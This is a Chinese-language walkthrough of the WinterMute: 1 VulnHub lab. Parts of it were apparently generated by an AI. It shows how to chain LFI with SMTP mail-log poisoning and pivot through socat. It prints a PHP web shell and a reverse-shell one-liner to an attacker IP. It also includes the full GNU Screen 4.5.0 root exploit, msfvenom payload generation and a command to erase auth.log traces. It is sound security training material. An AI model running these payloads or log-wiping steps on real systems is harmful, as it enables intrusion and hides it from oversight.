内网综合渗透测试——WinterMute: 1靶场
靶场来源 <WinterMute: 1 ~ VulnHub>
Wintermute 虚拟机网络配置指南
本实验涉及网络跳转技术,需正确配置VirtualBox网络。所有IP均为动态分配,配置快速简便。
通过"文件 >> 导入虚拟设备"导入各虚拟机。
STRAYLIGHT (网络#1 和 #2)
- 首台需要获取root权限的主机,需配置双网卡
- 适配器1
- 类型选择 仅主机(Host-only)适配器
- 指定 VirtualBox 仅主机以太网适配器 #1
高级设置(需要两个独立网络的网卡) - 适配器类型 - Intel PRO/1000 T 服务器版
- 适配器2
- 类型选择 仅主机(Host-only)适配器
- 指定 VirtualBox 仅主机以太网适配器 #2
高级设置 - 适配器类型 - Intel PRO/1000 MT 桌面版(需与网络#1类型不同)
NEUROMANCER (网络#2)
- 最终需要攻破的目标机,单网卡配置。只能通过Straylight的第二个网络访问
- 适配器1
- 类型选择 仅主机(Host-only)适配器
- 指定 VirtualBox 仅主机以太网适配器 #2
高级设置 - 适配器类型 - Intel PRO/1000 MT 桌面版
KALI (网络#1)
- 攻击机仅连接至Straylight所在的网络#1,可选配NAT
- 重要:禁止直接从Kali ping通Neuromancer,否则视为作弊
- 适配器1
- 类型选择 仅主机(Host-only)适配器
- 指定 VirtualBox 仅主机以太网适配器 #1
技术要点解析:
- 网络隔离设计
- 网络#1(适配器#1):Kali攻击机与Straylight的第一网卡处于此网络
- 网络#2(适配器#2):Straylight的第二网卡与Neuromancer组成隔离网络
- 安全验证机制
- 通过不同的适配器类型(PRO/1000 T Server vs MT Desktop)实现物理层隔离
- 双网卡配置强制要求使用网络跳转技术进行横向移动
- 渗透测试路径
Kali → 网络#1 → Straylight → 网络#2 → Neuromancer - 配置验证方法
- 在Kali中使用arp-scan应只能发现Straylight
- 通过Straylight作为跳板机才能访问Neuromancer服务
注:VirtualBox需提前创建两个Host-Only网络适配器(管理 → 主机网络管理器)
靶场环境搭建:
192.168.31.0/24 192.168.56.0/24 kali <---------------> straylight <---------------> neuromancer 31.250 31.246/56.60 56.61 |
kali设置为桥接模式(VMware虚拟机)
straylight增加一块网卡,网卡一设置为桥接模式,网卡二设置为NAT模式(Virtualbox虚拟机)
neuromancer设置为NAT模式(Virtualbox虚拟机)
winterMute第一部分:外围打点
总结:
1.弱口令
2.本地文件包含漏洞
3.nc -nv发送恶意邮件写shell
4.构造命令执行漏洞,反弹shell
5.Screen 4.5.0本地提权
6.用(sed -i -e ‘s/\r$//‘)将exp换行和缩进和格式变得可执行
1,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.31.0/24
那么攻击机IP为192.168.23.250,靶场IP192.168.31.244
2,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.31.244
关键端口服务解析(deepseek生成)
- 25/tcp - SMTP服务 (Postfix)
- 安全风险:
- VRFY命令开放:允许攻击者枚举有效用户(如:VRFY root)
- ETRN命令可能导致邮件中继攻击
- 自签名SSL证书(有效期2018-2028):可能存在中间人攻击风险
- 利用建议:
# 用户枚举测试
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.31.244
# 中继测试
swaks --to target@example.com --server 192.168.31.244
- 安全风险:
- 80/tcp - Apache HTTP服务 (2.4.25)
- 安全风险:
- Apache 2.4.25存在历史漏洞:
- CVE-2017-15715 (路径遍历)
- CVE-2021-40438 (mod_proxy SSRF)
- "Night City"页面可能包含隐藏路径或框架漏洞
- Apache 2.4.25存在历史漏洞:
- 利用建议:
# 目录爆破
gobuster dir -u http://192.168.31.244 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 检查PHP版本
curl -I http://192.168.31.244/index.php
- 安全风险:
- 3000/tcp - ntopng服务
- 安全风险:
- 默认凭证admin:admin可能未修改
- CVE-2021-28073 (XSS漏洞)
- XML解析错误提示可能暗示XXE漏洞
- 利用建议:
# 尝试默认登录
curl -X POST http://192.168.31.244:3000/lua/login.lua --data "username=admin&password=admin"
# XXE探测
curl -X POST http://192.168.31.244:3000/evox/about --data '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
- 安全风险:
操作系统指纹分析
- 内核版本:Linux 3.2-4.9 (可能为Debian 9 Stretch)
- 潜在漏洞:
- Dirty COW (CVE-2016-5195)
- Sudo提权漏洞 (CVE-2021-3156)
# Dirty COW检测
dmesg | grep "Linux version"
# Sudo漏洞检测
sudo --version | grep "1.8"
横向移动路径规划
- 第一阶段:立足点获取
- 通过Web漏洞上传Webshell:
<?php system($_GET['cmd']); ?> - 利用SMTP中继获取内部邮件凭证
- 通过Web漏洞上传Webshell:
- 第二阶段:权限提升
- 查找SUID文件:
find / -perm -4000 2>/dev/null - 检查crontab任务:
crontab -l
- 查找SUID文件:
- 第三阶段:网络跳板部署
- 建立SSH动态转发:
ssh -D 1080 user@straylight - 配置Proxychains访问Neuromancer网络:
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.31.0/24
- 建立SSH动态转发:
防御规避建议
- 流量伪装:
# 使用Metasploit编码器
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.2 LPORT=443 -e x86/shikata_ga_nai -f elf > payload.elf - 日志清理:
# 清除auth.log记录
sed -i '/192.168.31.2/d' /var/log/auth.log
漏洞验证优先级
漏洞类型 | 风险等级 | 验证复杂度 | 优先级 |
SMTP用户枚举 | 中 | 低 | ★★★☆ |
Apache RCE | 高 | 中 | ★★★★☆ |
ntopng认证绕过 | 高 | 低 | ★★★★☆ |
XXE漏洞 | 高 | 高 | ★★☆☆ |
通过系统化的攻击链构建,可逐步突破Straylight的防御体系,最终实现网络#2的渗透目标。建议优先验证Web服务和ntopng的漏洞入口。
3,然后访问一下80端口开启的http服务
这个页面没有什么用,对其网站后台目录进行爆破
dirsearch -u http://192.168.31.244 -x 404,403
上述扫描结果不够理想,再使用gobuster进行扫描
gobuster dir -u http://192.168.31.244 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt
重启之后IP变成了192.168.31.246
dirsearch -u http://192.168.31.246/manual -x 404,403
访问:http://192.168.31.246/manual/style/
4,再访问192.168.31.246:3000,存在一个ntopng服务
ntopng 是一个基于 Web 的网络流量监控和分析工具,用于实时监控网络流量、协议分布、设备活动等。它的默认配置中确实可能使用 3000 端口(HTTP 服务)和 3001 端口(HTTPS 服务)。
下面有一行小字提示用户名和密码都是admin,使用弱密码成功登录
详细介绍ntopng
ntopng 是一款基于 Web 的网络流量监控与分析工具,其核心功能通过浏览器访问的 Web 界面实
现。以下是其使用流程和核心功能的详细说明:
一、登录与初始化设置
- 访问 Web 界面
- 安装并启动 ntopng 后,通过浏览器访问 http://<服务器IP>:3000(默认端口为 3000,若配置修改则需对应调整)248。
- 首次登录使用默认账号 admin 和密码 admin,系统会强制要求修改密码47。
- 基础配置
- 监听接口:在配置文件(/etc/ntopng/ntopng.conf)中指定监听的网络接口(如 --interface=eth0)和本地网段(如 --local-network "192.168.1.0/24")410。
- 端口修改:若需调整 Web 端口,可通过 --http-port=8080 配置412。
二、主界面功能模块
ntopng 的 Web 界面分为多个核心模块,提供实时和历史流量分析:
- Dashboard(仪表盘)
- 实时流量概览:显示当前网络的总流量、活跃主机、协议分布等,支持按时间范围(如5分钟、1小时)动态刷新37。
- Top Talkers:列出流量最高的发送/接收主机或应用,帮助快速识别异常流量27。
- Flows(流量分析)
- 实时流量详情:展示每个流的源/目的 IP、端口、协议类型(如 TCP/UDP)、吞吐量等,支持按协议或应用过滤37。
- 深度包检测(DPI):基于 nDPI 技术识别具体应用协议(如 HTTP、BitTorrent、Zoom)712。
- Hosts(主机监控)
- 主机列表:显示所有活跃主机的 IP、MAC 地址、流量统计及地理位置(需启用 GeoIP 数据库)46。
- 主机详情:点击 IP 可查看主机的流量趋势、通信对端、协议分布及历史活动37。
- Interfaces(接口监控)
- 分析指定网络接口的流量负载、数据包分布(如包大小、协议占比)及历史趋势图47。
- Protocols(协议分析)
- 按协议类型(如 HTTP、DNS、ICMP)统计流量占比,支持饼状图或时间序列图展示47。
三、高级功能与配置
- 历史数据与报告
- 数据存储:支持将流量数据持久化到 MySQL、ElasticSearch 等数据库,便于长期分析47。
- 自定义报告:可生成按小时、天、周为单位的流量报告,涵盖协议分布、主机排名等712。
- 告警管理
- 告警规则:在配置文件中启用异常检测(如 DDoS 攻击、带宽超限),触发后通过 Web 界面或邮件通知412。
- SNMP 集成:支持监控网络设备的 SNMP 数据,扩展流量分析范围712。
- 用户与权限管理
- 多用户支持:可创建不同权限级别的用户(如管理员、只读用户),并集成 LDAP/SSO 认证712。
- 访问控制:通过防火墙规则限制 Web 端口的访问来源(如仅允许内网 IP)58。
四、安全与优化建议
- 安全加固
- 修改默认密码,避免使用弱密码48。
- 启用 HTTPS(端口 3001)并配置 SSL 证书,防止数据窃听45。
- 通过反向代理(如 Nginx)隐藏端口并增强访问控制58。
- 性能优化
- 对高流量网络,启用 PF_RING 或 ZC 驱动提升抓包效率412。
- 调整日志级别(如 --log-level=3)以减少磁盘 I/O 压力410。
五、常见使用场景
- 故障排查:通过实时流量分析定位带宽拥塞源或异常主机37。
- 安全监控:检测 DDoS 攻击、端口扫描或未经授权的协议使用512。
- 网络优化:分析应用协议占比,优化 QoS 策略或带宽分配712。
5,在FLOWS模块下记录访问目录
根据这个提示访问/turing-bolo/
Villa Straylight BOLO列表
Villa Straylight中的最新安全威胁列表
选择列表中的某个人查看他们的自定义活动日志 - 由Turing警察更新
6,选择case然后submit提交
以?bolo=case拼接提交URL参数,存在文件包含
然后构造语句测试一下,payload ../turing-bolo/molly
成功在原case网页包含molly网页,推断存在本地文件包含,没有远程文件包含
7,已知服务器存在邮件服务,且一个网页存在本地文件包含漏洞。利用思路如下:我们用smtp发邮件,将发件人或收件人写为木马,之后在利用LFI漏洞将mail包含到PHP界面,这样就可以执行木马,获得shell
SMTP协议潜在缺陷、LFI漏洞、PHP代码执行),属于高危攻击链。以下是从安全研究角度对原理的分析及防御建议:
攻击流程拆解
- SMTP 注入构造恶意邮件
- 攻击目标:通过构造特殊的发件人/收件人字段,将恶意代码(如PHP木马)注入邮件头或正文。
- 实现条件:
- SMTP服务器未严格过滤CRLF(\r\n)或特殊字符(如<?php ?>)。
- 邮件存储路径可预测(如/var/mail/user),且攻击者能通过LFI漏洞包含该文件。
- 利用LFI漏洞包含邮件文件
- 路径遍历:通过PHP的本地文件包含漏洞(如include($_GET['file']);),加载包含恶意代码的邮件文件(如/var/mail/admin)。
- 触发PHP解析:若邮件内容被PHP解释器执行,嵌入的恶意代码即可运行。
- 获取Shell
- 代码执行:成功执行木马代码后,攻击者可能通过WebShell连接工具(如蚁剑、冰蝎)获取系统权限。
技术细节与限制
- 邮件内容中嵌入PHP代码的可行性
- 编码问题:邮件通常使用MIME编码,特殊字符(如< >)可能被转义,需绕过过滤。
- PHP标签闭合:邮件正文可能包含其他内容,需确保<?php ... ?>标签完整且不被干扰。
- LFI漏洞利用条件
- 文件路径已知:需精准猜测或获取邮件存储路径(如默认邮箱位置)。
- PHP配置允许:allow_url_include需开启(默认关闭),且open_basedir未限制访问。
- 防御机制绕过
- WAF/IDS检测:恶意代码可能被安全设备拦截,需使用混淆技术(如Base64编码、异或加密)。
防御方案
1. 加固SMTP服务
- 输入过滤:严格校验邮件头字段,禁止CRLF注入和特殊字符(如< > ?)。
- 邮件存储隔离:将用户邮件存储在非Web目录(如/var/vmail),避免被LFI直接包含。
2. 修复LFI漏洞
- 禁用动态包含:避免使用用户输入直接包含文件(如include($_GET['file']))。
- 白名单限制:若必须动态包含,则校验文件路径是否在允许列表内(如allowed_files = ['page1.php', 'page2.php'])。
3. PHP安全配置
- 关闭危险函数:在php.ini中设置disable_functions = exec,system,passthru,...。
- 限制文件包含:设置allow_url_include = Off,open_basedir限制PHP可访问目录。
4. 监控与日志审计
- 异常邮件检测:监控SMTP日志中异常的发件人/收件人格式。
- 文件包含告警:通过WAF或HIDS检测../、/var/mail等敏感路径的访问行为。
模拟攻击测试(仅限授权环境)
// 漏洞示例:存在LFI的PHP代码(danger.php)
$file = $_GET['file'];
include($file);
- 发送恶意邮件
# 使用telnet手动构造SMTP请求
telnet target-smtp-server 25
MAIL FROM:<<?php system($_GET['cmd']); ?>>@example.com
RCPT TO:admin@target.com
DATA
Subject: Test Exploit
X-Header: <?php echo 'Vulnerable!'; ?>
. - 触发LFI执行代码
访问URL:http://target.com/danger.php?file=/var/mail/admin&cmd=id- 若成功,页面可能返回命令执行结果(如uid=33(www-data))。
总结
此类攻击依赖多环节漏洞的配合,实际利用难度较高,但一旦成功危害极大。管理员应通过最小化服务暴露、严格输入过滤、权限隔离等措施加固系统,同时定期进行渗透测试与代码审计。开
发者需遵循安全编码规范,避免动态文件包含等高风险操作。
nc -nv 192.168.31.246 25
HELO ROOT #向服务器标识用户身份
MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>" #MAIL FROM:发件人
RCPT TO:ROOT #RCPT TO:收件人
data #开始编辑邮件内容
. #输入点代表编辑结束
PHP代码命令注入漏洞代码功能解析:
- 接收外部参数
通过$_GET['cmd']获取用户以GET方式传递的cmd参数的值。例如访问URL:
http://example.com/script.php?cmd=ls,cmd的值为ls。 - 执行系统命令
使用shell_exec()函数执行cmd参数传递的命令。shell_exec()会调用系统Shell执行命令,并返回命令的标准输出结果。 - 输出结果
echo将命令执行结果直接输出到网页中,用户可见
8,然后通过本地文件包含漏洞构造出出现在网站URL当中的PHP代码执行漏洞
http://192.168.31.246/turing-bolo/bolo.php?bolo=../../../../../../../../../var/log/mail&cmd=ls
回显出现在73行之后
9,然后通过这个命令执行漏洞写PHP反弹shell的命令(为了更加简便直观这里使用burpsuite的repteater模块/decoder模块进行攻击)
php -r '$sock=fsockopen("192.168.31.250",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31%36%38%2e%33%31%2e%32%35%30%22%2c%34%34%34%34%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27%0a |
与此同时kali要打开对4444端口的监听,执行php代码之后可以看到成功的反弹shell
10,查看有无python环境,如果有则通过pty模块开启一个可交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
在靶场信息收集
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-
11,查看能不能suid提权
find / -perm -u=s -type f 2>/dev/null
/bin/screen-4.5.0 是 GNU Screen 工具的二进制可执行文件,版本号为 4.5.0。
- GNU Screen 是一个终端复用工具,允许用户在一个终端窗口中同时管理多个会话(如分离、重连会话等)。
- SUID权限:该文件设置了 SUID 权限(通过 find / -perm -u=s 发现),意味着执行该程序时会以文件所有者(通常是 root)的权限运行,可能存在提权风险。
12,因为知道了这个工具的版本,那么就可以通过searchsploit检索这个版本的公开exp
把41154.sh文件转储出来
13,kali攻击机开启http服务,然后操控靶机从攻击机上下载41154.sh脚本
python -m http.server
wget http://192.168.31.250:8000/41154.sh
14,直接执行脚本失败,还需要对脚本格式进行转换,并且赋予执行权限
sed -i -e 's/\r$//' 41154.sh
用于删除文件中的 Windows 换行符(\r),确保脚本在 Unix/Linux 系统上正常执行。以下是详细解析:
1. 命令作用
- sed -i
-i 表示直接修改文件(in-place edit),而不是输出到终端。
注意:此操作会覆盖原文件,建议提前备份(如 cp 41154.sh 41154.sh.bak)。 - s/\r$//
这是一个正则表达式替换命令:- s/:表示替换操作。
- \r$:匹配行尾的 Windows 回车符(Carriage Return, \r)。
- //:替换为空(即删除 \r)。
- 效果:将 Windows 格式的换行符(\r\n)转换为 Unix 格式的换行符(\n)。
chmod u+x 41154.sh
然后再执行脚本,成功提权
/root目录下读取flag.txt
然后还存在note.txt提示信息
开发团队,
3Jane 女士要求我们在 Neuromancer 的主服务器上创建一个自定义的 Java 应用,以帮助她与基于 AIb 的 GUI 进行交互。
工程团队特别强调了这项工作的风险,因为这将把超级人工智能暴露给 Freesik 的远程访问。虽然它位于我们的内部管理网络,但即便如此,仍然应该完全与网络隔离。为了安全起见,用户访问应该仅限于通过物理控制台进行……谁知道这个东西会做出什么。
总之,我们已经按照要求在 Tomcat 上部署了 war 文件,位置如下:
/struts2_2.3.15.1-showcase
它已经准备好供开发人员按她的要求进行定制……我知道这很显而易见,但务必要确保它的安全性。
此致,
Bob Laugh
Turing 系统工程师 II
Freeside//Straylight//Ops5
解读提权代码
#!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: [screen-devel] [bug #50142] root exploit 4.5.0 # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell |
代码解读与提权原理分析
该脚本利用了 GNU Screen v4.5.0 的 SUID 提权漏洞(CVE-2017-5618),通过篡改 /etc/ld.so.preload 文件加载恶意动态库,最终获取 root 权限。以下是逐段解析:
1. 生成恶意动态库 libhax.so
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0); # 修改 rootshell 所有者为 root
chmod("/tmp/rootshell", 04755); # 设置 SUID 权限(rwsr-xr-x)
unlink("/etc/ld.so.preload"); # 删除 ld.so.preload 避免后续检测
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
- 关键点:
- __attribute__ ((__constructor__)) 表示 dropshell 函数在库加载时自动执行。
- 动态库的作用是修改 /tmp/rootshell 的权限为 SUID root,为后续提权做准备。
2. 生成提权后门程序 rootshell
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0); # 设置进程 UID 为 root
setgid(0); # 设置进程 GID 为 root
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL); # 启动 shell
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
- 关键点:
- 编译生成的 rootshell 初始权限为普通用户,需通过 libhax.so 赋予其 SUID root 权限。
3. 利用 Screen 漏洞篡改 /etc/ld.so.preload
cd /etc
umask 000 # 设置文件权限掩码为 0(允许所有权限)
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
- 漏洞触发:
- -L 参数:启用日志功能,尝试在 /etc 目录下创建日志文件 ld.so.preload。
- SUID 权限滥用:由于 screen 是 SUID root 程序,普通用户可通过此操作以 root 权限向 /etc/ld.so.preload 写入内容。
- 写入内容:\x0a 是换行符(\n),加上 /tmp/libhax.so,使系统在运行程序时预加载恶意库。
4. 触发动态库加载并获取 Root Shell
screen -ls # 触发任意 Screen 操作,加载 ld.so.preload
/tmp/rootshell # 执行 SUID root 的 Shell
- 动态链接器行为:
- 当执行 screen -ls 时,系统读取 /etc/ld.so.preload,加载 /tmp/libhax.so。
- dropshell 函数自动执行,将 /tmp/rootshell 设为 SUID root。
- 执行 /tmp/rootshell 时,由于其 SUID 权限,进程以 root 身份启动,获得完整权限。
漏洞核心原理(CVE-2017-5618)
- SUID 程序的日志路径控制
- Screen 在启用日志(-L)时未正确校验路径,允许用户指定系统目录(如 /etc)。
- 普通用户可通过 -L 参数创建或覆盖 /etc/ld.so.preload。
- ld.so.preload 的滥用
- 该文件指定预加载的动态库,以 root 权限写入后,所有后续动态链接程序均会加载恶意库。
- 恶意库的构造函数在特权上下文中执行,实现权限提升。
winterMute第二部分:内网渗透
1,成功的控制了连接内网外网的靶机,接下来就是做内网的信息收集
查看arp表以得到内网靶场的IP
python -c 'import pty;pty.spawn("/bin/bash")'
arp -a
可以看到enp0s3对应着192.168.31.0/24;enp0s8对应着192.168.56.0/24
ifconfig查看本机IP地址
印证了上面的说法,并且由此猜测内网靶场的IP地址为192.168.56.60
2,还可以写一个shell脚本对目标进行扫描
for i in $(seq 1 255); do if ping -c 1 -w 1 192.168.56.$i&>/dev/null; then echo "192.168.56.$i"; fi ; done
1. 循环遍历IP地址范围
for i in $(seq 1 255); do
- 作用:
使用seq 1 255生成1到255的整数序列,遍历每个数字赋值给变量i。 - 目标IP段:
组合成完整的IPv4地址192.168.56.$i(即192.168.56.1到192.168.56.255)。
2. 执行Ping探测
if ping -c 1 -w 1 192.168.56.$i &>/dev/null; then
- 参数解析:
- -c 1:发送1个ICMP请求包。
- -w 1:等待响应超时时间为1秒。
- &>/dev/null:将命令的标准输出和错误输出重定向到黑洞设备(不显示任何信息)。
- 逻辑判断:
- 若ping命令成功(目标IP在线并返回响应),则条件为真(if成立)。
- 若超时或无响应(目标IP离线),则跳过后续操作。
3. 输出在线的IP地址
echo "192.168.56.$i"
- 作用:
仅当ping成功时,输出当前检测到的在线IP地址到终端。
脚本完整功能总结:
- 用途:
扫描局域网192.168.56.0/24子网中所有可能的IP地址(共255个),快速检测哪些主机在线。 - 输出:
直接列出所有响应ping请求的活跃IP地址。
使用后台进程并行执行ping,缩短总时间:
for i in {1..255}; do
(ping -c 1 -W 1 192.168.56.$i >/dev/null && echo "192.168.56.$i") &
done | sort -n
wait
3,使用shell脚本对靶场开放的端口进行扫描(优化后)
seq 1 65535 | xargs -P 100 -I{} sh -c 'nc -nvz -w 1 192.168.56.60 {} 2>&1 | grep -v "Connection refused"'
- seq 1 65535:
- 生成一个从 1 到 65535 的数字序列,每个数字代表一个端口号。
- xargs -P 100 -I{}:
- xargs 用于并行执行命令。
- -P 100:表示最多可以并行执行 100 个进程。这个参数控制并发的数量,优化了扫描的速度。
- -I{}:{} 是一个占位符,表示每次传递一个端口号,替换到后续命令中。
- sh -c 'nc -nvz -w 1 192.168.56.60 {} 2>&1 | grep -v "Connection refused"':
- sh -c 允许执行一个复杂的命令。
- nc -nvz -w 1 192.168.56.60 {}:使用 nc (netcat) 扫描目标 IP (192.168.56.60) 上的端口 {}。
- -n:使用数字 IP 地址(避免 DNS 解析)。
- -v:显示详细输出。
- -z:扫描端口,但不建立连接。
- -w 1:超时设置为 1 秒。
- 2>&1:将标准错误(stderr)重定向到标准输出(stdout),确保捕获到错误信息。
- | grep -v "Connection refused":过滤掉包含 “Connection refused” 的输出,只保留开放的端口信息。
socat端口重定向
SOcket CAT是一个强大的网络工具,可以实现端口重定向、端口转发、代理和各种复杂的网络通信功能。它可以在不同协议之间进行转换,比如 TCP 和 UDP、Unix 套接字等。
以下是如何使用 socat 实现端口重定向的几个常见示例:
1. TCP 端口重定向
假设你想将本地的端口 8080 转发到远程服务器的端口 80(例如将本地 localhost:8080 的流量转发到 example.com:80):
socat TCP-LISTEN:8080,fork TCP:example.com:80
- TCP-LISTEN:8080:在本地机器的 8080 端口上监听传入的 TCP 连接。
- fork:允许 socat 在每次连接时生成新的进程,以便并发处理多个连接。
- TCP:example.com:80:将接收到的流量转发到 example.com 的 80 端口。
2. UDP 端口重定向
类似于 TCP 端口重定向,但使用 UDP 协议。例如,将本地端口 12345 上的 UDP 流量转发到远程 example.com 的 54321 端口:
socat UDP-LISTEN:12345,fork UDP:example.com:54321
- UDP-LISTEN:12345:在本地的 12345 端口上监听传入的 UDP 数据包。
- UDP:example.com:54321:将接收到的数据包转发到远程服务器的 54321 端口。
3. 端口重定向并添加身份验证
**socat** 支持多种安全和身份验证机制。例如,如果你想在转发流量的同时提供 SSH 认证,可以使用 socat 配合 SSH 隧道:
socat TCP-LISTEN:8080,fork EXEC:"ssh -N -L 8080:example.com:80 user@sshserver"
- EXEC:"ssh -N -L 8080:example.com:80 user@sshserver":通过 SSH 隧道将本地的 8080 端口转发到 example.com:80,并通过 sshserver 进行身份验证。
4. TCP 和 UDP 转发
socat 还可以在 TCP 和 UDP 协议之间进行转发。例如,将 TCP 流量重定向为 UDP 流量:
socat UDP-LISTEN:12345,fork TCP:example.com:80
- UDP-LISTEN:12345:在本地机器上监听 UDP 流量。
- TCP:example.com:80:将该 UDP 流量转发到远程服务器的 TCP 端口 80。
5. 本地端口到远程端口的透明代理
假设你想将本地端口 8080 的流量透明地代理到远程 example.com:80,并在本地机器和远程服务器之间传递所有数据(包括 HTTP 请求和响应)。可以这样做:
socat TCP-LISTEN:8080,reuseaddr,fork TCP:example.com:80
- reuseaddr:允许重新绑定相同端口。
- fork:在每个连接时生成一个新的进程。
6. 反向端口重定向
如果你希望反向端口重定向,即让远程主机的端口连接到本地机器上的端口,可以使用 socat 设置反向连接:
socat TCP-LISTEN:8080,fork TCP:localhost:80
- TCP-LISTEN:8080:在本地监听 8080 端口。
- TCP:localhost:80:将流量转发到本地的 80 端口。
7. 本地端口重定向到 UNIX 域套接字
socat 还可以将流量从一个端口转发到 UNIX 域套接字。例如,假设你有一个在 UNIX 套接字上监听的进程(如 MySQL),可以这样做:
socat TCP-LISTEN:3306,fork UNIX-CONNECT:/var/run/mysql.sock
- UNIX-CONNECT:/var/run/mysql.sock:将流量从 TCP 转发到 UNIX 域套接字 /var/run/mysql.sock。
4,现在需要kali攻击机通过被控主机以某种方式访问到内网靶机。这里使用linux中socat进行重定向(如果有问题首先要清空已经设置的socat)
socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.56.60:8009 &
socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.56.60:8080 &
socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.56.60:34483 &
- TCP4-LISTEN:34483:监听本地 34483 端口,接收传入的连接。
- reuseaddr:允许地址重用。
- fork:每次接受一个连接时生成新的进程。
- TCP4:192.168.56.60:34483:将本地端口 34483 的流量转发到远程服务器 192.168.56.60 上的 34483 端口。
- &:在后台执行命令。
在被控主机的终端处一直能看到端口转发信息
清除socat方法:
1. 查找并停止 socat 进程
你可以使用 ps 命令来查找当前所有的 socat 进程,并用 kill 命令停止它们。
ps aux | grep socat
该命令会列出所有包含 socat 的进程。输出可能类似于:
user 12345 0.0 0.1 123456 1234 ? S 10:00 0:00 socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.56.60:8009
user 12346 0.0 0.1 123456 1234 ? S 10:00 0:00 socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.56.60:8080
user 12347 0.0 0.1 123456 1234 ? S 10:00 0:00 socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.56.60:34483
接下来,你可以通过 kill 命令停止这些进程:
kill 12345 12346 12347
2. 强制终止 socat 进程
如果 kill 命令没有生效(例如进程没有响应),你可以使用 kill -9 强制终止:
kill -9 12345 12346 12347
3. 验证进程是否已停止
再次运行 ps aux | grep socat,确认 socat 进程已经不再存在。
5,成功设置端口转发之后,再使用nmap对知道端口做信息收集
nmap -sT -sC -sV -O -p 34483,8080,8009 192.168.31.246
- 端口 8009/tcp:
- 状态:open,表示该端口处于开放状态。
- 服务:ajp13(Apache JServ Protocol 1.3),该协议通常用于 Apache Tomcat 和其他应用服务器之间的通信。
- 版本:Apache Jserv 1.3。
- 额外信息:ajp-methods: Failed to get a valid response for the OPTION request 表示在尝试对该端口发送 OPTION 请求时,未能获得有效响应,这可能意味着该服务未正确配置或不响应该类型的请求。
- 端口 8080/tcp:
- 状态:open,该端口也处于开放状态。
- 服务:http,该端口通常用于 Web 服务。
- 版本:Apache Tomcat 9.0.0.M26,这是一个较旧版本的 Apache Tomcat 服务器。
- 额外信息:
- http-title:Apache Tomcat/9.0.0.M26,表示该端口提供的是 Apache Tomcat Web 服务器。
- http-favicon:扫描发现该服务的图标为 Apache Tomcat 的默认图标。
- 端口 34483/tcp:
- 状态:open,该端口处于开放状态。
- 服务:ssh,SSH(Secure Shell)协议通常用于远程安全访问。
- 版本:OpenSSH 7.2p2,这是一个较老版本的 OpenSSH 服务,通常运行在 Linux 系统中。
- 额外信息:
- SSH 主机密钥:提供了该 SSH 服务的 RSA、ECDSA 和 ED25519 公钥,供进一步验证使用。
- SSH 主机密钥指纹:显示了 RSA、ECDSA 和 ED25519 密钥的指纹(分别用于验证 SSH 连接的安全性)
6,访问8080端口开放的http服务
然后对这个网站进行网站指纹识别扫描
whatweb -v http://192.168.31.246:8080
没有什么有用信息
7,然后对对网站进行子目录枚举扫描
dirsearch -u http://192.168.31.246:8080 -x 404,403
没有需要的目录,但是根据提示我们可以访问/struts2_2.3.15.1-showcase
8,扫描识别网站指纹信息
whatweb -v http://192.168.31.246:8080/struts2_2.3.15.1-showcase/showcase.action
没有用,可以确定的是struts2的版本是2.3.15.1
